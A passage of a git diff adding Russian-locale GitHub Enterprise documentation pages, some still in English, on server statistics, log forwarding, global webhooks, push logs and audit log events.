Connect option in an organization account settings left sidebar](/assets/images/help/enterprises/github-connect-option-for-ghec-org.png) + +{% data reusables.server-statistics.csv-download %} diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/index.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/index.md new file mode 100644 index 000000000000..abffee51884e --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/index.md @@ -0,0 +1,18 @@ +--- +title: 'Анализ того, как команда работает со статистикой сервера' +shortTitle: Server Statistics +intro: 'Чтобы проанализировать работу вашей команды, понять, чем полезен {% data variables.product.prodname_ghe_server %}, и помочь нам улучшить наши продукты, вы можете использовать {% data variables.product.prodname_server_statistics %} для просмотра данных об использовании для {% data variables.product.prodname_ghe_server %} и поделиться этими статистическими данными с {% data variables.product.company_short %}.' +versions: + feature: server-statistics +children: + - /about-server-statistics + - /exporting-server-statistics + - /requesting-server-statistics-using-the-rest-api +ms.openlocfilehash: 76f0e75b3d496800368a2dca38f613ba750924bc +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147884184' +--- + diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api.md new file mode 100644 index 000000000000..d0fc9e3a87e5 --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api.md @@ -0,0 +1,20 @@ +--- +title: "Запрос статистики сервера с помощью REST\_API" +shortTitle: Server Statistics and REST API +intro: 'Вы можете использовать собственные средства для анализа использования {% data variables.product.prodname_ghe_server %} с течением времени, запрашивая метрики {% data variables.product.prodname_server_statistics %}, собранные с помощью REST API.' +versions: + feature: server-statistics +redirect_from: + - /early-access/github/analyze-how-your-team-works-with-server-statistics/requesting-server-statistics-using-the-rest-api +ms.openlocfilehash: d93a51a1d39840187b14480eb91e06e0a4606332 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147409334' +--- +Можно запросить метрики за период до 365 дней в одном запросе REST API {% data variables.product.prodname_server_statistics %}. Эти данные, которые включают статистические метрики в репозиториях, проблемах и запросах на вытягивание, могут помочь определить потребности вашей организации, понять, как работает ваша команда, и показать ценность использования {% data variables.product.prodname_ghe_server %}. Список собираемых метрик см. в разделе [Собираемые данные {% data variables.product.prodname_server_statistics %}](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics#server-statistics-data-collected). + +Перед использованием REST API {% data variables.product.prodname_server_statistics %} необходимо включить {% data variables.product.prodname_server_statistics %}. Дополнительные сведения см. в статье [Включение {% data variables.product.prodname_server_statistics %} для предприятия](/admin/configuration/configuring-github-connect/enabling-server-statistics-for-your-enterprise). + +Дополнительные сведения об использовании REST API для запроса статистики сервера см. в разделе [Получение статистики {% data variables.product.prodname_ghe_server %}](/enterprise-cloud@latest/rest/enterprise-admin/admin-stats#get-github-enterprise-server-statistics) в документации по REST API {% data variables.product.prodname_ghe_cloud %}. diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/activity-dashboard.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/activity-dashboard.md new file mode 100644 index 000000000000..8d899386a528 --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/activity-dashboard.md @@ -0,0 +1,40 @@ +--- +title: Панель мониторинга активности +intro: Панель мониторинга активности содержит общие сведения обо всей деятельности на предприятии. +redirect_from: + - /enterprise/admin/articles/activity-dashboard + - /enterprise/admin/installation/activity-dashboard + - /enterprise/admin/user-management/activity-dashboard + - /admin/user-management/activity-dashboard + - /admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard +versions: + ghes: '*' + ghae: '*' +topics: + - Enterprise +ms.openlocfilehash: 3c1c9ade1baed615d70ca82c8104ce0ed11921fd +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145120232' +--- +Панель мониторинга активности предоставляет еженедельные, ежемесячные и ежегодные графы для следующих количественных показателей: +- Новые запросы на вытягивание +- Объединенные запросы на вытягивание +- Новые проблемы +- Закрытые вопросы +- Новые комментарии к проблеме +- Новые репозитории +- Новые учетные записи пользователей +- Новые организации +- Новые команды + +![Панель мониторинга активности](/assets/images/enterprise/activity/activity-dashboard-yearly.png) + +## Доступ к панели мониторинга активности + +1. В верхней части любой страницы щелкните **Обзор**. +![Вкладка "Обзор"](/assets/images/enterprise/settings/ent-new-explore.png) +2. В верхнем правом углу нажмите кнопку **Действие**. +![Кнопка "Действие"](/assets/images/enterprise/activity/activity-button.png) diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/index.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/index.md new file mode 100644 index 000000000000..897cdd546e87 --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/index.md @@ -0,0 +1,23 @@ +--- +title: Изучение активности пользователей на предприятии +intro: 'Вы можете просматривать действия пользователей и систем, используя панели мониторинга, веб-перехватчики и пересылку журналов.' +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Enterprise +children: + - /activity-dashboard + - /viewing-push-logs + - /log-forwarding + - /managing-global-webhooks +shortTitle: Explore user activity +ms.openlocfilehash: 2e462be60197d1f9f209bdabfbbffb2332564549 +ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147878557' +--- + diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding.md new file mode 100644 index 000000000000..9061cf24183a --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding.md @@ -0,0 +1,62 @@ +--- +title: Пересылка журналов +intro: '{% data variables.product.product_name %} использует `syslog-ng` для переадресации {% ifversion ghes %}системных журналов{% elsif ghae %}Git{% endif %} и журналов приложений на заданный вами сервер.' +redirect_from: + - /enterprise/admin/articles/log-forwarding + - /enterprise/admin/installation/log-forwarding + - /enterprise/admin/enterprise-management/log-forwarding + - /admin/enterprise-management/log-forwarding + - /admin/user-management/log-forwarding + - /admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Auditing + - Enterprise + - Logging + - Security +ms.openlocfilehash: 935c8f0221c4541d2801a5e705779efff3d34370 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145115219' +--- +## Сведения о пересылке журналов + +Поддерживается любая система сбора журналов, поддерживающая потоки журналов, аналогичных системным (например, [Logstash](http://logstash.net/) и [Splunk](http://docs.splunk.com/Documentation/Splunk/latest/Data/Monitornetworkports)). + +При включении пересылки журналов необходимо передать сертификат ЦС для шифрования обмена данными между конечными точками системного журнала. Устройство и удаленный сервер системного журнала будут выполнять двусторонний обмен по протоколу SSL, каждый из которых предоставляет сертификат другому и проверяет полученный сертификат. + +## Включение пересылки журналов + +{% ifversion ghes %} +1. На странице параметров {% data variables.enterprise.management_console %} на левой боковой панели нажмите кнопку **Мониторинг**. +1. Выберите **Включить пересылку журналов**. +1. В поле **Адрес сервера** введите адрес сервера, на который требуется пересылать журналы. Вы можете указать несколько адресов через запятую. +1. В раскрывающемся меню "Протокол" выберите протокол, используемый для связи с сервером журналов. Протокол будет применяться ко всем указанным назначениям журналов. +1. При необходимости выберите **Включить TLS**. Рекомендуется включить TLS в соответствии с локальными политиками безопасности, особенно, если между устройством и любыми удаленными серверами журналов используются ненадежные сети. +1. Чтобы зашифровать обмен данными между конечными точками системного журнала, нажмите **Выбрать файл** и выберите сертификат ЦС для удаленного сервера системного журнала. Необходимо отправить пакет ЦС, содержащий объединение сертификатов ЦС, участвующих в подписи сертификата удаленного сервера журналов. Будет проверяться вся цепочка сертификатов, которая должна завершиться в корневом сертификате. Дополнительные сведения см. статью [Параметров TLS в документации syslog-ng](https://support.oneidentity.com/technical-documents/syslog-ng-open-source-edition/3.16/administration-guide/56#TOPIC-956599). +{% elsif ghae %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} +1. В разделе {% octicon "gear" aria-label="The Settings gear" %} **Параметры** нажмите **Пересылка журналов**. + ![Вкладка «Пересылка журналов»](/assets/images/enterprise/business-accounts/log-forwarding-tab.png) +1. На вкладке "Пересылка журналов" выберите **Включить пересылку журналов**. + ![Флажок для включения пересылки журналов](/assets/images/enterprise/business-accounts/enable-log-forwarding-checkbox.png) +1. В поле "Адрес сервера" введите адрес сервера, на который нужно пересылать журналы. + ![Поле адреса сервера](/assets/images/enterprise/business-accounts/server-address-field.png) +1. В раскрывающемся меню "Протокол" выберите протокол. + ![Раскрывающееся меню «Протокол»](/assets/images/enterprise/business-accounts/protocol-drop-down-menu.png) +1. При необходимости, чтобы включить шифрование TLS между конечными точками системного журнала, выберите **Включить TLS**. + ![Флажок для включения TLS](/assets/images/enterprise/business-accounts/enable-tls-checkbox.png) +1. В поле "Общедоступный сертификат" вставьте сертификат x509. + ![Текстовое поле для общедоступного сертификата](/assets/images/enterprise/business-accounts/public-certificate-text-box.png) +1. Выберите команду **Сохранить**. + ![Кнопка "Сохранить" для пересылки журналов](/assets/images/enterprise/business-accounts/save-button-log-forwarding.png) {% endif %} + +{% ifversion ghes %} +## Устранение неполадок + +При возникновении проблем с пересылкой журналов обратитесь в {% data variables.contact.contact_ent_support %} и приложите к сообщению электронной почты выходной файл из `http(s)://[hostname]/setup/diagnostics`. +{% endif %} diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks.md new file mode 100644 index 000000000000..b52e93892264 --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/managing-global-webhooks.md @@ -0,0 +1,100 @@ +--- +title: Managing global webhooks +shortTitle: Manage global webhooks +intro: You can configure global webhooks to notify external web servers when events occur within your enterprise. +permissions: Enterprise owners can manage global webhooks for an enterprise account. +redirect_from: + - /enterprise/admin/user-management/about-global-webhooks + - /enterprise/admin/user-management/managing-global-webhooks + - /admin/user-management/managing-global-webhooks + - /admin/user-management/managing-users-in-your-enterprise/managing-global-webhooks + - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/configuring-webhooks-for-organization-events-in-your-enterprise-account + - /articles/configuring-webhooks-for-organization-events-in-your-business-account + - /articles/configuring-webhooks-for-organization-events-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise-account/configuring-webhooks-for-organization-events-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/configuring-webhooks-for-organization-events-in-your-enterprise-account + - /admin/user-management/monitoring-activity-in-your-enterprise/managing-global-webhooks +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Enterprise + - Webhooks +--- + +## About global webhooks + +You can use global webhooks to notify an external web server when events occur within your enterprise. You can configure the server to receive the webhook's payload, then run an application or code that monitors, responds to, or enforces rules for user and organization management for your enterprise. For more information, see "[Webhooks](/developers/webhooks-and-events/webhooks)." + +For example, you can configure {% data variables.location.product_location %} to send a webhook when someone creates, deletes, or modifies a repository or organization within your enterprise. You can configure the server to automatically perform a task after receiving the webhook. + +![List of global webhooks](/assets/images/enterprise/site-admin-settings/list-of-global-webhooks.png) + +{% data reusables.enterprise_user_management.manage-global-webhooks-api %} + +## Adding a global webhook + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.hooks-tab %} +5. Click **Add webhook**. + ![Add webhook button on Webhooks page in Admin center](/assets/images/enterprise/site-admin-settings/add-global-webhook-button.png) +6. Type the URL where you'd like to receive payloads. + ![Field to type a payload URL](/assets/images/enterprise/site-admin-settings/add-global-webhook-payload-url.png) +7. Optionally, use the **Content type** drop-down menu, and click a payload format. + ![Drop-down menu listing content type options](/assets/images/enterprise/site-admin-settings/add-global-webhook-content-type-dropdown.png) +8. Optionally, in the **Secret** field, type a string to use as a `secret` key. + ![Field to type a string to use as a secret key](/assets/images/enterprise/site-admin-settings/add-global-webhook-secret.png) +9. Optionally, if your payload URL is HTTPS and you would not like {% data variables.product.prodname_ghe_server %} to verify SSL certificates when delivering payloads, select **Disable SSL verification**. Read the information about SSL verification, then click **I understand my webhooks may not be secure**. + ![Checkbox for disabling SSL verification](/assets/images/enterprise/site-admin-settings/add-global-webhook-disable-ssl-button.png) + + {% warning %} + + **Warning:** SSL verification helps ensure that hook payloads are delivered securely. We do not recommend disabling SSL verification. + + {% endwarning %} +10. Decide if you'd like this webhook to trigger for every event or for selected events. + ![Radio buttons with options to receive payloads for every event or selected events](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-events.png) + - For every event, select **Send me everything**. + - To choose specific events, select **Let me select individual events**. +11. If you chose to select individual events, select the events that will trigger the webhook. + {% ifversion ghec %} + ![Checkboxes for individual global webhook events](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-individual-events.png) + {% elsif ghes or ghae %} + ![Checkboxes for individual global webhook events](/assets/images/enterprise/site-admin-settings/add-global-webhook-select-individual-events-ghes-and-ae.png) + {% endif %} +12. Confirm that the **Active** checkbox is selected. + ![Selected Active checkbox](/assets/images/help/business-accounts/webhook-active.png) +13. Click **Add webhook**. + +## Editing a global webhook + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.hooks-tab %} +5. Next to the webhook you'd like to edit, click **Edit**. + ![Edit button next to a webhook](/assets/images/enterprise/site-admin-settings/edit-global-webhook-button.png) +6. Update the webhook's settings. +7. Click **Update webhook**. + +## Deleting a global webhook + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.hooks-tab %} +5. Next to the webhook you'd like to delete, click **Delete**. + ![Delete button next to a webhook](/assets/images/enterprise/site-admin-settings/delete-global-webhook-button.png) +6. Read the information about deleting a webhook, then click **Yes, delete webhook**. + ![Pop-up box with warning information and button to confirm deleting the webhook](/assets/images/enterprise/site-admin-settings/confirm-delete-global-webhook.png) + +## Viewing recent deliveries and responses + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.hooks-tab %} +5. In the list of webhooks, click the webhook for which you'd like to see deliveries. + ![List of webhooks with links to view each webhook](/assets/images/enterprise/site-admin-settings/click-global-webhook.png) +6. Under "Recent deliveries", click a delivery to view details. + ![List of the webhook's recent deliveries with links to view details](/assets/images/enterprise/site-admin-settings/global-webhooks-recent-deliveries.png) diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/viewing-push-logs.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/viewing-push-logs.md new file mode 100644 index 000000000000..219dae26d7d8 --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/viewing-push-logs.md @@ -0,0 +1,53 @@ +--- +title: Просмотр журналов отправки +intro: Администраторы сайта могут просматривать список операций передачи данных Git для любого репозитория на предприятии. +redirect_from: + - /enterprise/admin/articles/viewing-push-logs + - /enterprise/admin/installation/viewing-push-logs + - /enterprise/admin/user-management/viewing-push-logs + - /admin/user-management/viewing-push-logs + - /admin/user-management/monitoring-activity-in-your-enterprise/viewing-push-logs +versions: + ghes: '*' + ghae: '*' +type: how_to +topics: + - Auditing + - Enterprise + - Git + - Logging +ms.openlocfilehash: 5477e981cc579d75de37e4ce06ea367b93d9790c +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148008816' +--- +Записи журнала отправки показывают следующее: + +- Сторона, инициировавшая отправку +- Была ли отправка принудительной +- Ветвь, куда была выполнена отправка +- Протокол, используемый для отправки +- Исходный IP-адрес +- Клиент Git, использованный для отправки +- Хэши SHA до и после операции + +## Просмотр журналов отправки для репозитория + +1. Войдите в {% data variables.product.prodname_ghe_server %} в качестве администратора сайта. +1. Перейдите в репозиторий. +1. В правом верхнем углу страницы репозитория щелкните {% octicon "rocket" aria-label="The rocket ship" %}. + ![Значок ракеты для доступа к параметрам администратора сайта](/assets/images/enterprise/site-admin-settings/access-new-settings.png) {% data reusables.enterprise_site_admin_settings.security-tab %} +4. На левой боковой панели щелкните **Push Log** (Журнал отправки). +![Вкладка "Push log" (Журнал отправки)](/assets/images/enterprise/site-admin-settings/push-log-tab.png) + +{% ifversion ghes %} +## Просмотр журналов отправки репозитория в командной строке + +{% data reusables.enterprise_installation.ssh-into-instance %} +1. В соответствующем репозитории Git откройте файл журнала аудита: + ```shell + ghe-repo OWNER/REPOSITORY -c "cat audit_log" + ``` +{% endif %} diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/index.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/index.md new file mode 100644 index 000000000000..daca137dacbc --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/index.md @@ -0,0 +1,24 @@ +--- +title: Мониторинг активности на предприятии +intro: 'Вы можете просматривать действия пользователей и системы, используя журналы аудита{% ifversion ghes or ghae %}, push-журналы, панели мониторинга, веб-перехватчики и пересылку журналов{% else %}и веб-перехватчики{% endif %}.' +redirect_from: + - /enterprise/admin/installation/monitoring-activity-on-your-github-enterprise-server-instance +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Enterprise +children: + - /reviewing-audit-logs-for-your-enterprise + - /exploring-user-activity + - /analyzing-how-your-team-works-with-server-statistics +shortTitle: Monitor activity +ms.openlocfilehash: 677ecdb7c35a8ed4c0d27b7ebe21e9377fc373db +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147068028' +--- + diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise.md new file mode 100644 index 000000000000..004a44b9e48b --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise.md @@ -0,0 +1,58 @@ +--- +title: About the audit log for your enterprise +intro: 'To support debugging and internal and external compliance, {% data variables.product.product_name %} provides logs of audited{% ifversion ghes %} system,{% endif %} user, organization, and repository events.' +shortTitle: About audit logs +redirect_from: + - /enterprise/admin/articles/audit-logging + - /enterprise/admin/installation/audit-logging + - /enterprise/admin/user-management/audit-logging + - /admin/user-management/audit-logging + - /admin/user-management/monitoring-activity-in-your-enterprise/audit-logging + - /github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/auditing-activity-in-your-enterprise + - /admin/authentication/managing-your-enterprise-users-with-your-identity-provider/auditing-activity-in-your-enterprise + - /admin/identity-and-access-management/managing-iam-with-enterprise-managed-users/auditing-activity-in-your-enterprise +versions: + ghes: '*' + ghae: '*' + ghec: '*' +type: overview +topics: + - Auditing + - Enterprise + - Logging + - Security +--- + +## About audit logs + +{% data reusables.audit_log.retention-periods %} + +{% data reusables.audit_log.audit-log-search-list-info-about-action %} + +In addition to viewing your audit log, you can monitor activity in your enterprise in other ways, such as {% ifversion ghes or ghae %}viewing push logs and {% endif %}managing global webhooks. For more information, see "[Exploring user activity in your enterprise](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity)." + +## Using your audit logs + +As an enterprise owner{% ifversion ghes %} or site administrator{% endif %}, you can interact with the audit log data for your enterprise in several ways: +- You can view the audit log for your enterprise. For more information, see "[Accessing the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise)." +- You can search the audit log for specific events{% ifversion ghec %} and export audit log data{% endif %}. For more information, see "[Searching the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/searching-the-audit-log-for-your-enterprise)"{% ifversion ghec %} and "[Exporting the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/exporting-audit-log-activity-for-your-enterprise)"{% endif %}.{% ifversion token-audit-log %} +- You can identify all events that were performed by a specific access token. For more information, see "[Identifying audit log events performed by an access token](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/identifying-audit-log-events-performed-by-an-access-token)."{% endif %}{% ifversion audit-data-retention-tab %} +- You can configure settings, such as the retention period for audit log events{% ifversion enable-git-events %} and whether Git events are included{% endif %}. For more information, see "[Configuring the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise)."{% endif %} +{%- ifversion enterprise-audit-log-ip-addresses %} +- You can display the IP address associated with events in the audit log. For more information, see "[Displaying IP addresses in the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/displaying-ip-addresses-in-the-audit-log-for-your-enterprise)." +{%- endif %} +{%- ifversion audit-log-streaming %} +- You can stream audit and Git events data from {% data variables.product.prodname_dotcom %} to an external data management system. For more information, see "[Streaming the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/streaming-the-audit-log-for-your-enterprise)." +{%- endif %} +{%- ifversion ghes %} +- You can forward audit and system logs, from your enterprise to an third-party hosted monitoring system. For more information, see "[Log forwarding](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding)." +{%- endif %} +- You can use the Audit log API to view actions performed in your enterprise. For more information, see "[Using the audit log API for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/using-the-audit-log-api-for-your-enterprise)." + +For a full list of audit log actions that may appear in your enterprise audit log, see "[Audit log actions for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise)." + +## Further reading +- "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization)" +{%- ifversion ghes %} +- "[About system logs](/admin/enterprise-management/monitoring-your-appliance/about-system-logs)" +{%- endif %} diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise.md new file mode 100644 index 000000000000..07ae1f83e475 --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/accessing-the-audit-log-for-your-enterprise.md @@ -0,0 +1,27 @@ +--- +title: Accessing the audit log for your enterprise +intro: You can view aggregated actions from all of the organizations owned by an enterprise account in the enterprise's audit log. +shortTitle: Access audit logs +permissions: 'Enterprise owners {% ifversion ghes %}and site administrators {% endif %}can access the audit log.' +redirect_from: + - /github/setting-up-and-managing-your-enterprise/managing-organizations-in-your-enterprise-account/viewing-the-audit-logs-for-organizations-in-your-enterprise-account + - /articles/viewing-the-audit-logs-for-organizations-in-your-business-account + - /articles/viewing-the-audit-logs-for-organizations-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise-account/viewing-the-audit-logs-for-organizations-in-your-enterprise-account + - /github/setting-up-and-managing-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise-account + - /admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Auditing + - Enterprise + - Logging +--- +{% data reusables.audit_log.retention-periods %} + +{% data reusables.enterprise-accounts.access-enterprise %} +{% data reusables.enterprise-accounts.settings-tab %} +{% data reusables.enterprise-accounts.audit-log-tab %} diff --git a/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise.md b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise.md new file mode 100644 index 000000000000..99d5e610fc37 --- /dev/null +++ b/translations/ru-RU/content/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise.md @@ -0,0 +1,1482 @@ +--- +title: Audit log events for your enterprise +intro: Learn about audit log events recorded for your enterprise. +shortTitle: Audit log events +permissions: 'Enterprise owners {% ifversion ghes %}and site administrators {% endif %}can interact with the audit log.' +miniTocMaxHeadingLevel: 4 +redirect_from: + - /enterprise/admin/articles/audited-actions + - /enterprise/admin/installation/audited-actions + - /enterprise/admin/user-management/audited-actions + - /admin/user-management/audited-actions + - /admin/user-management/monitoring-activity-in-your-enterprise/audited-actions +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: reference +topics: + - Auditing + - Enterprise + - Logging + - Security +--- + +{% ifversion ghec%} +## About audit log events for your enterprise + +The scope of the events that appear in your enterprise's audit log depend on whether your enterprise uses {% data variables.product.prodname_emus %}. For more information about {% data variables.product.prodname_emus %}, see "[About {% data variables.product.prodname_emus %}](/admin/identity-and-access-management/using-enterprise-managed-users-and-saml-for-iam/about-enterprise-managed-users)." + +- If your enterprise does not use {% data variables.product.prodname_emus %}, the audit log only includes events related to the enterprise account and the organizations within the enterprise account, which are listed in this article. +- If your enterprise uses {% data variables.product.prodname_emus %}, the audit log also includes user events for {% data variables.enterprise.prodname_managed_users %}, such as each time the user logs in to {% data variables.product.product_name %}. For a list of these events, see "[Reviewing your security log](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log#security-log-actions)." +{% endif %} + +{%- ifversion fpt or ghec %} +## `account` category actions + +| Action | Description +|--------|------------- +| `account.billing_plan_change` | An organization's billing cycle changed. For more information, see "[Changing the duration of your billing cycle](/billing/managing-your-github-billing-settings/changing-the-duration-of-your-billing-cycle)." +| `account.plan_change` | An organization's subscription changed. For more information, see "[About billing for GitHub accounts](/billing/managing-billing-for-your-github-account/about-billing-for-github-accounts)." +| `account.pending_plan_change` | An organization owner or billing manager canceled or downgraded a paid subscription. For more information, see "[How does upgrading or downgrading affect the billing process?](/billing/managing-billing-for-your-github-account/how-does-upgrading-or-downgrading-affect-the-billing-process)." +| `account.pending_subscription_change` | A {% data variables.product.prodname_marketplace %} free trial started or expired. For more information, see "[About billing for GitHub Marketplace](/billing/managing-billing-for-github-marketplace-apps/about-billing-for-github-marketplace)." +{%- endif %} + +{%- ifversion fpt or ghec %} +## `advisory_credit` category actions + +| Action | Description +|--------|------------- +| `advisory_credit.accept` | Someone accepted credit for a security advisory. For more information, see "[Editing a security advisory](/github/managing-security-vulnerabilities/editing-a-security-advisory)." +| `advisory_credit.create` | The administrator of a security advisory added someone to the credit section. +| `advisory_credit.decline` | Someone declined credit for a security advisory. +| `advisory_credit.destroy` | The administrator of a security advisory removed someone from the credit section. +{%- endif %} + +## `artifact` category actions + +| Action | Description +|--------|------------- +| `artifact.destroy` | A workflow run artifact was manually deleted. + +{%- ifversion audit-log-streaming %} +## `audit_log_streaming` category actions + +| Action | Description +|--------|------------- +| `audit_log_streaming.check` | A manual check was performed of the endpoint configured for audit log streaming. +| `audit_log_streaming.create` | An endpoint was added for audit log streaming. +| `audit_log_streaming.update` | An endpoint configuration was updated for audit log streaming, such as the stream was paused, enabled, or disabled. +| `audit_log_streaming.destroy` | An audit log streaming endpoint was deleted. +{%- endif %} + +{%- ifversion fpt or ghec %} +## `billing` category actions + +| Action | Description +|--------|------------- +| `billing.change_billing_type` | An organization changed how it paid for {% data variables.product.prodname_dotcom %}. For more information, see "[Adding or editing a payment method](/billing/managing-your-github-billing-settings/adding-or-editing-a-payment-method)." +| `billing.change_email` | An organization's billing email address changed. For more information, see "[Setting your billing email](/billing/managing-your-github-billing-settings/setting-your-billing-email)." +{%- endif %} + +## `business` category actions + +| Action | Description +|--------|------------- +| `business.add_admin` | An enterprise owner{% ifversion ghes %} or site administrator{% endif %} was added to an enterprise. +{%- ifversion ghec %} +| 